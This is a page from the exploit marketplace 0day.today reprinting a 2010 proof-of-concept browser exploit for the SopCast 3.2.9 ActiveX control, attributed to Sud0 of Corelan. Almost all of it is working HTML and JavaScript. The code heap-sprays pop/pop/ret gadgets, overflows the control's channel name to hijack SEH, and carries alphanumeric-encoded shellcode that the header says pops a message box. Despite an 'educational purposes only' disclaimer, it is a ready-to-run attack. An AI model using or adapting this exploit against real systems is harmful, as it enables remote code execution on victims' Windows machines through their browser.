0day.today - Biggest Exploit Database in the World.
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn
GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Contact us
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
SopCast New 0Day Remote Exploit
[===============================
SopCast New 0Day Remote Exploit
===============================
<html>
<Center>
<H1>Sopcast POC by Sud0<br></H1>
<b>Tested on XP SP3 EN on VBox with IE 7<br>
Spraying a lot to get a nice unicode usable address 0x20260078<br>
I sprayed with a set of P/P/R instructions to come back to the stack<br>
***Need internet connection on the box to trigger the vuln***<br>
Wait for the Spray to finish (IE will seem freezed for some seconds)<br>
The Sopcast control will be loaded and shown on the page<br>
wait approx 3 to 5 seconds and a message box should appear<br>
</b>
</Center>
<!--
# Exploit Title : SopCast BOF
# Date : August 10, 2010
# Author : Sud0
# Bug found by : Sud0
# Software Link : http://www.sopcast.com - http://www.easetuner.com
# Version : 3.2.9
# OS : Windows
# Tested on : XP SP3 En (VirtualBox) Fully Patched, Internet Explorer 7
# Type of vuln : Stack Buffer Overflow - SEH
# Advisory : http://www.corelan.be:8800/advisories.php?id=CORELAN-10-059
# Big thanks to : my wife for supporting me
# Greetz to : Corelan Security Team
# http://www.corelan.be:8800/index.php/security/corelan-team-members/
|------------------------------------------------------------------|
| __ __ |
| _________ ________ / /___ _____ / /____ ____ _____ ___ |
| / ___/ __ \/ ___/ _ \/ / __ `/ __ \ / __/ _ \/ __ `/ __ `__ \ |
| / /__/ /_/ / / / __/ / /_/ / / / / / /_/ __/ /_/ / / / / / / |
| \___/\____/_/ \___/_/\__,_/_/ /_/ \__/\___/\__,_/_/ /_/ /_/ |
| |
| http://www.corelan.be:8800 |
| security@corelan.be |
| |
|-------------------------------------------------[ EIP Hunters ]--|
Script provided 'as is', without any warranty.
Use for educational purposes only.
Do not use this code to do anything illegal !
Corelan does not want anyone to use this script
for malicious and/or illegal purposes
Corelan cannot be held responsible for any illegal use.
Note : you are not allowed to edit/modify this code.
If you do, Corelan cannot be held responsible for any damages this may cause.
-->
<object classid='clsid:8FEFF364-6A5F-4966-A917-A3AC28411659' id='boom' ></object>
<script>
// ######################################### Begin of spraying with (nops + Pop/Pop/Ret) instructions to come back to the stack
var nops = unescape("%49%41"); // some nice nops on ECX
var ppr = unescape("%49%58%49%58%49%c3"); // Pop EAX / pop EAX / Ret
var ppraddy = 0x20260078;
var BlockSize = 0x200000;
var BlockHeaderSize = 0x26;
var PPRSize = 0x6;
var nopSize = BlockSize - (PPRSize + BlockHeaderSize);
var heapBlocks = (ppraddy+BlockSize*2)/(BlockSize*2);
var Spray = new Array();
while (nops.length<nopSize)
{
nops += nops;
}
nops = nops.substring(0,nopSize);
for (i=0;i<heapBlocks;i++)
{
Spray[i] = nops + ppr;
}
// ######################################### end of spraying
var buffSize = 522; // (516 + 6 = sop:// )offset to overwrite EIP
var x="sop://";
while (x.length<buffSize) x += unescape("%41");
x+=unescape("%41");
x+=unescape("%41");
x+=unescape("%87"); //low unicode bytes of seh destination address 0035 (0x20260087)
x+="?"; //High unicode bytes of seh destination address 2026 (0x20260087)
x+=unescape("%49%5A%49%5A%49%5A%49%5A%49%5A%49%5A%49%5A%49%5A%49%5A%49%5A%49%5A%49");
x+=unescape("%5A%49%5A%49%5A%49%5A%49%5A%49%5A%49%5A%49%5A%49%5A%49%5A%49%5A%49%5A%49%5A");
x+=unescape("%49%5A%49%5A%49%5A%49%5A%49%5A%49%5A%49%5A%49%5A%49%5A%49%5A%49%5A%49%5A%49");
x+=unescape("%5A%49%5A%49%5A%49%5A%49%5A%49%5A%49%5A%49%5A%49%5A%49%5A%49%5A%49%52%49%c3");
// some junk before shellcode
for (i=0;i<330;i++)
{
x+=unescape("%41");
}
// messagebox shellcode
x+="RRYAIAIAIAIAIAIAIAIAIAIAIAIAIAIAjXAQADAZABARALAYAIAQAIAQAIAhAAAZ1AIAIAJ11AIAIABABABQI1AIQIA";
x+="IQI111AIAJQYAZBABABABABkMAGB9u4JBfyjK3kXYRTLdKDNQyBx2pzlqGYS4DKPqlpBkQfzl2kpvMLTKq6LH4KqnmP";
x+="TKMfNXNoLXrUL3Ny9qXQKOYQc0bkplo4nDrk15oLTKPTKUD8KQXj2kMzlX4K1JkpyqjK7sp7OY4KMdtKKQZNLqIomaw";
x+="PilVLRdWPBTlJ6a6olMJawWHil1YoKOKOmk3LKtMXSEgnRkojO4YqZK0fBkzlpKRkqJKlm1JKdKitRkkQxhe9oTLdML";
x+="31es6RKXKywdsY9UCYfbOx2npNZnzLpR8h5LkOKOkOQyQ5kT5kSNj8yRBSSWmLo4nrxhdKKOKOKOe9oUkXoxRLplMPK";
x+="O1XLsnRnNs41Xaet3REbRQx1LmTkZSYK6pVKOPULDqyWRPPWKSxg2Nm5lQwklktPRYXqN9okOYo38PlaQPnQH2HPCrO";
x+="2RqUNQ9KrhqLMTlG1yGsQXnPpXkpKp1XKpNs45s4OxQTmPOrQiQXpoOysDouQXMucHRPPllqWYrhPLktKaQy7qNQ6rN";
x+="rpSpQqBkOvpNQgPB0ioNuyxkZA";
// some junk after shellcode
for (i=0;i<40000;i++)
{
x+=unescape("%41");
}
// calling the boom
boom.ChannelName=x; // setting channel name
boom.SetSopAddress(x); // getting address to trigger the boom
</script>
</html>
# 0day.today [2024-07-02] #